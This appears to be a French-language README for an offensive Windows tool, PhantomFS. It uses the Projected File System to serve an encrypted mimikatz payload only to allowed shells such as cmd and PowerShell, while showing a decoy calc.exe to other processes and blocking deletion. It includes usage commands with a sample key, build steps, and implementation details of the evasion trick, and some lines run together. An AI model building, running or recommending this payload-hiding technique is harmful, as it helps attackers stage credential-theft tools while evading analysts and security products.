
Servir des payloads uniquement aux processus autorisés en utilisant la fonctionnalité de système de fichiers projeté de Windows
Fournisseur ProjFS. Projette des fichiers dont le contenu dépend du processus qui les lit. La charge utile est stockée chiffrée AES-256-CBC sur le disque, déchiffrée uniquement en mémoire à l'exécution. Cela ne devrait contourner aucun EDR car la charge utile sera écrite sur le disque lorsque des processus autorisés tenteront de la lire. Tout le reste obtient un accès refusé. Cela pourrait agacer certains analystes car leurs outils ne la liront pas ou chargeront simplement un leurre. Mais vous pouvez facilement voir qu'il s'agit d'un ProjFS utilisant un point de reparse.
1) Générer la clé : PhantomFS.exe -keygen
2) Chiffrer la charge : PhantomFS.exe -encrypt mimikatz.exe -key <clé> -out mimikatz.enc
3) Servir : PhantomFS.exe C:\Staging -file mimikatz.enc -key <clé> -decoy C:\Windows\System32\calc.exe
Exemple :
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
Résultat : C:\Staging\calc.exe apparaît dans le système de fichiers.
cmd.exe en lecture reçoit les octets déchiffrés de mimikatzVS2022, ouvrez PhantomFS.sln, compilez en x64 Release. Nécessite le SDK Windows (en-têtes + bibliothèques ProjFS).
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
Le fournisseur s'exécute en intégrité moyenne, pas besoin d'administrateur (l'activation de la fonctionnalité ProjFS nécessite un administrateur).
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <entrée> -key <64_caractères_hex> -out <sortie.enc>
Format : [16 octets IV aléatoire][texte chiffré AES-256-CBC avec padding PKCS7]
PhantomFS.exe <répertoire_racine> -file <charge.enc> -key <hex> -decoy <fichier_bénin>
[-name <nom_fichier_virtuel>]
[-allow <sous-chaîne_processus>] (répétable, par défaut : powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <sous-chaîne_processus>] (répétable)
[-quiet]
Les callbacks ProjFS reçoivent TriggeringProcessImageFileName à chaque accès fichier :
GetFileDataCallback : Vérifie le processus par rapport aux règles, sert la charge utile ou les octets leurresNotificationCallback PRE_DELETE : Bloque la suppression par des processus non autorisésFILE_HANDLE_CLOSED : Appelle PrjDeleteFile pour forcer la réhydratationL'astuce de réhydratation est nécessaire car ProjFS met en cache le contenu du fichier après la première lecture. Sans cela, le deuxième lecteur obtiendrait ce que le premier a reçu.
PrjStartVirtualizingIO_REPARSE_TAG_PROJFSPrjFlt à l'altitude 189800 (fltmc.exe)Microsoft-Windows-ProjFSInspiration :